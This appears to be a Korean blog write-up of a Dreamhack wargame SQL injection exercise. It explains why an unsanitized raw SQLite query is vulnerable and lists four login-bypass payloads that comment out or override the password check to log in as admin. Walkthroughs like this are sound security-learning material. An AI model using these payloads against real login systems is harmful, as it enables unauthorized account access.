Dreamhack/Wargame

Web) Dreamhack Wargame: SQL Injection Write-UP

Doo Nut 2023. 9. 11. 21:06

SQL 쿼리문을 조작하여 데이터베이스 안의 값을 알아내야하는 문제이다.

 

1. 로그인을 우회하여 푸는 법

 

//  userid와 userpassword를 이용자에게 입력받고, 동적으로 쿼리문을 생성한 뒤 query_db 함수에서 SQLite에 질의합니다. 이렇게 동적으로 생성한 쿼리를 RawQuery라고 합니다. RawQuery를 생성할 때, 이용자의 입력값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있습니다. 이용자의 입력값을 검사하는 과정이 없기 때문에 임의의 쿼리문을 userid 또는 userpassword에 삽입해 SQL Injection 공격을 수행할 수 있습니다. //

 

위 부분이 아직 완벽히 이해가 되지는 않지만, 간단히 정리해보자면

 

1. userid와 userpassword를 이용자로부터 입력받고 동적 쿼리문을 생성

2. query_db 함수에서 SQLite에 질의하여 생성된 쿼리가 Raw Query (이 부분이 매끄럽게 이해가 되지는 않는다)

3. 이때 SQL Injection 취약점에 노출될 수 있다 (이용자의 입력값을 검사하는 과정이 없기 때문에)

 

 

Exploit; 공격 쿼리문 작성

 

* Password에는 무슨 값을 입력해도 상관없다.

 

SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"

userpassword를 받는 부분을 주석 처리하여 id 검색만 하도록 처리

SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"

검색 조건 뒤에 'or'을 통해 뒷내용이 무엇이든 admin이 반환되도록 하는 방식

or 뒷 절은 참 거짓의 여부가 중요치 않으므로 통과하게 된다.

SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"

마찬가지로 'or' 을 추가하여 userid='admin' 데이터를 반환하도록 한다.

SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"

userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식

.. 이것도 잘 모르겠다 (SQL 문법에 대한 이해가 필요할 듯)

 

 

이런식으로 우회해주면 바로 FLAG를 얻을 수 있다. 

 

 

 

 

 

https://dreamhack.io/lecture/courses/201

 

Exercise: SQL Injection

Simple-SQLi를 함께 풀어봅니다.

dreamhack.io